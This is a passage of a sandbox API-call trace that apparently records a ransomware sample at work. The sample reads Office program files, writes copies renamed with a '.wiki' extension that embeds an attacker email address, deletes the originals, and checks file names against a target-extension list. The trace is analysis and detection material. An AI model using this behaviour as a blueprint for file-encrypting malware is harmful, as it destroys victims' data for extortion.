nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc38, lpOverlapped=0x0 | out: lpBuffer=0x40b0058*, lpNumberOfBytesRead=0x364fc38*=0x40000, lpOverlapped=0x0) returned 1 [0186.986] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0186.986] WriteFile (in: hFile=0x1d8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x364fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fcb0*=0xc00fa, lpOverlapped=0x0) returned 1 [0187.246] SetEndOfFile (hFile=0x1d8) returned 1 [0187.246] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x43222d0 [0187.250] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc7c | out: lpNewFilePointer=0x0) returned 1 [0187.250] WriteFile (in: hFile=0x1d8, lpBuffer=0x43222d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc88, lpOverlapped=0x0 | out: lpBuffer=0x43222d0*, lpNumberOfBytesWritten=0x364fc88*=0x40000, lpOverlapped=0x0) returned 1 [0187.251] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x19cd3a, lpNewFilePointer=0x0, dwMoveMethod=0x364fc7c | out: lpNewFilePointer=0x0) returned 1 [0187.251] WriteFile (in: hFile=0x1d8, lpBuffer=0x43222d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc88, lpOverlapped=0x0 | out: lpBuffer=0x43222d0*, lpNumberOfBytesWritten=0x364fc88*=0x40000, lpOverlapped=0x0) returned 1 [0187.253] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x4967b0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc7c | out: lpNewFilePointer=0x0) returned 1 [0187.253] WriteFile (in: hFile=0x1d8, lpBuffer=0x43222d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x364fc88, lpOverlapped=0x0 | out: lpBuffer=0x43222d0*, lpNumberOfBytesWritten=0x364fc88*=0x40000, lpOverlapped=0x0) returned 1 [0187.256] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x43222d0 | out: hHeap=0x5c0000) returned 1 [0187.256] CloseHandle (hObject=0x1d8) returned 1 [0187.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0187.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0187.256] lstrlenW (lpString=".doc") returned 4 [0187.256] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0187.256] lstrlenW (lpString=".docx") returned 5 [0187.256] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0187.256] lstrlenW (lpString=".pdf") returned 4 [0187.256] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0187.256] lstrlenW (lpString=".xls") returned 4 [0187.256] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0187.256] lstrlenW (lpString=".xlsx") returned 5 [0187.256] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0187.256] lstrlenW (lpString=".ppt") returned 4 [0187.256] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0187.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0187.256] lstrlenW (lpString=".zip") returned 4 [0187.256] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0187.256] lstrlenW (lpString=".rar") returned 4 [0187.256] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0187.256] lstrlenW (lpString=".bz2") returned 4 [0187.256] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0187.256] lstrlenW (lpString=".7z") returned 3 [0187.256] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0187.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0187.257] lstrlenW (lpString=".dbf") returned 4 [0187.257] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0187.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0187.257] lstrlenW (lpString=".1cd") returned 4 [0187.257] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0187.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0187.257] lstrlenW (lpString=".jpg") returned 4 [0187.257] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0187.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0187.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0187.257] lstrlenW (lpString=".doc") returned 4 [0187.257] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0187.257] lstrlenW (lpString=".docx") returned 5 [0187.257] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0187.257] lstrlenW (lpString=".pdf") returned 4 [0187.257] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0187.257] lstrlenW (lpString=".xls") returned 4 [0187.257] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0187.257] lstrlenW (lpString=".xlsx") returned 5 [0187.257] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0187.257] lstrlenW (lpString=".ppt") returned 4 [0187.257] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0187.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0187.257] lstrlenW (lpString=".zip") returned 4 [0187.257] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0187.257] lstrlenW (lpString=".rar") returned 4 [0187.257] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0187.257] lstrlenW (lpString=".bz2") returned 4 [0187.257] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0187.257] lstrlenW (lpString=".7z") returned 3 [0187.257] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0187.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0187.258] lstrlenW (lpString=".dbf") returned 4 [0187.258] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0187.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0187.258] lstrlenW (lpString=".1cd") returned 4 [0187.258] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0187.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Csi.dll") returned 63 [0187.258] lstrlenW (lpString=".jpg") returned 4 [0187.258] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0187.258] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0187.258] lstrlenW (lpString="EXP_XPS.DLL") returned 11 [0187.258] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.261] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=71032) returned 1 [0187.261] CloseHandle (hObject=0x1d8) returned 1 [0187.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 0x20 [0187.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0187.261] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.261] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.261] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0187.262] GetLastError () returned 0x0 [0187.262] ReadFile (in: hFile=0x1d8, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x11578, lpOverlapped=0x0) returned 1 [0187.365] WriteFile (in: hFile=0x20c, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x11580, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0x11580, lpOverlapped=0x0) returned 1 [0187.367] ReadFile (in: hFile=0x1d8, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.367] WriteFile (in: hFile=0x20c, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xea, lpOverlapped=0x0) returned 1 [0187.367] SetEndOfFile (hFile=0x20c) returned 1 [0187.899] CloseHandle (hObject=0x20c) returned 1 [0187.899] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.899] SetEndOfFile (hFile=0x1d8) returned 1 [0187.900] CloseHandle (hObject=0x1d8) returned 1 [0187.900] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.900] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 1 [0188.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0188.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0188.382] lstrlenW (lpString=".doc") returned 4 [0188.382] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0188.382] lstrlenW (lpString=".docx") returned 5 [0188.382] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0188.382] lstrlenW (lpString=".pdf") returned 4 [0188.382] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0188.382] lstrlenW (lpString=".xls") returned 4 [0188.382] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0188.382] lstrlenW (lpString=".xlsx") returned 5 [0188.382] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0188.382] lstrlenW (lpString=".ppt") returned 4 [0188.382] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0188.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0188.382] lstrlenW (lpString=".zip") returned 4 [0188.382] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0188.398] lstrlenW (lpString=".rar") returned 4 [0188.398] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0188.398] lstrlenW (lpString=".bz2") returned 4 [0188.398] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0188.398] lstrlenW (lpString=".7z") returned 3 [0188.398] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0188.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0188.399] lstrlenW (lpString=".dbf") returned 4 [0188.399] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0188.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0188.399] lstrlenW (lpString=".1cd") returned 4 [0188.399] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0188.399] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0188.399] lstrlenW (lpString=".jpg") returned 4 [0188.399] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0188.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0188.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0188.417] lstrlenW (lpString=".doc") returned 4 [0188.417] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0188.417] lstrlenW (lpString=".docx") returned 5 [0188.417] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0188.417] lstrlenW (lpString=".pdf") returned 4 [0188.417] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0188.417] lstrlenW (lpString=".xls") returned 4 [0188.417] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0188.418] lstrlenW (lpString=".xlsx") returned 5 [0188.418] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0188.418] lstrlenW (lpString=".ppt") returned 4 [0188.418] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0188.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0188.418] lstrlenW (lpString=".zip") returned 4 [0188.418] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0188.418] lstrlenW (lpString=".rar") returned 4 [0188.418] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0188.418] lstrlenW (lpString=".bz2") returned 4 [0188.418] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0188.418] lstrlenW (lpString=".7z") returned 3 [0188.422] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0188.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0188.422] lstrlenW (lpString=".dbf") returned 4 [0188.422] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0188.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0188.422] lstrlenW (lpString=".1cd") returned 4 [0188.422] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0188.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0188.422] lstrlenW (lpString=".jpg") returned 4 [0188.422] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0188.422] lstrcmpiW (lpString1=".EXE", lpString2=".wiki") returned -1 [0188.422] lstrlenW (lpString="MSOICONS.EXE") returned 12 [0188.423] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.423] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=473952) returned 1 [0188.448] CloseHandle (hObject=0x200) returned 1 [0188.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 0x20 [0188.448] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.448] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.448] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0188.449] GetLastError () returned 0x0 [0188.449] ReadFile (in: hFile=0x200, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x73b60, lpOverlapped=0x0) returned 1 [0188.460] WriteFile (in: hFile=0x1f8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x73b70, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0x73b70, lpOverlapped=0x0) returned 1 [0188.468] ReadFile (in: hFile=0x200, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0188.468] WriteFile (in: hFile=0x1f8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.468] SetEndOfFile (hFile=0x1f8) returned 1 [0188.468] CloseHandle (hObject=0x1f8) returned 1 [0188.468] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0188.468] SetEndOfFile (hFile=0x200) returned 1 [0188.472] CloseHandle (hObject=0x200) returned 1 [0188.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.472] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msoicons.exe")) returned 1 [0188.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0188.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0188.473] lstrlenW (lpString=".doc") returned 4 [0188.473] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0188.473] lstrlenW (lpString=".docx") returned 5 [0188.473] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0188.473] lstrlenW (lpString=".pdf") returned 4 [0188.473] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0188.473] lstrlenW (lpString=".xls") returned 4 [0188.473] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0188.473] lstrlenW (lpString=".xlsx") returned 5 [0188.473] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0188.473] lstrlenW (lpString=".ppt") returned 4 [0188.473] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0188.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0188.473] lstrlenW (lpString=".zip") returned 4 [0188.473] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0188.473] lstrlenW (lpString=".rar") returned 4 [0188.473] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0188.473] lstrlenW (lpString=".bz2") returned 4 [0188.473] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0188.473] lstrlenW (lpString=".7z") returned 3 [0188.473] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0188.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0188.473] lstrlenW (lpString=".dbf") returned 4 [0188.473] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0188.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0188.473] lstrlenW (lpString=".1cd") returned 4 [0188.473] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0188.473] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0188.473] lstrlenW (lpString=".jpg") returned 4 [0188.473] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0188.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0188.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0188.474] lstrlenW (lpString=".doc") returned 4 [0188.474] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0188.474] lstrlenW (lpString=".docx") returned 5 [0188.474] lstrcmpiW (lpString1=".docx", lpString2="S.EXE") returned -1 [0188.474] lstrlenW (lpString=".pdf") returned 4 [0188.474] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0188.474] lstrlenW (lpString=".xls") returned 4 [0188.474] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0188.474] lstrlenW (lpString=".xlsx") returned 5 [0188.474] lstrcmpiW (lpString1=".xlsx", lpString2="S.EXE") returned -1 [0188.474] lstrlenW (lpString=".ppt") returned 4 [0188.474] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0188.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0188.474] lstrlenW (lpString=".zip") returned 4 [0188.474] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0188.474] lstrlenW (lpString=".rar") returned 4 [0188.474] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0188.474] lstrlenW (lpString=".bz2") returned 4 [0188.474] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0188.474] lstrlenW (lpString=".7z") returned 3 [0188.474] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0188.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0188.474] lstrlenW (lpString=".dbf") returned 4 [0188.474] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0188.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0188.474] lstrlenW (lpString=".1cd") returned 4 [0188.474] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0188.474] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSOICONS.EXE") returned 68 [0188.474] lstrlenW (lpString=".jpg") returned 4 [0188.474] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0188.475] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0188.475] lstrlenW (lpString="MSORES.DLL") returned 10 [0188.475] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.475] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=72521600) returned 1 [0188.475] CloseHandle (hObject=0x200) returned 1 [0188.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll")) returned 0x20 [0188.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.475] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 1 [0188.476] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0188.476] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc6c | out: lpNewFilePointer=0x0) returned 1 [0188.476] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fc2c | out: lpNewFilePointer=0x0) returned 1 [0188.476] ReadFile (in: hFile=0x200, lpBuffer=0x4030058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x364fc38, lpOverlapped=0x0 | out: lpBuffer=0x4030058*, 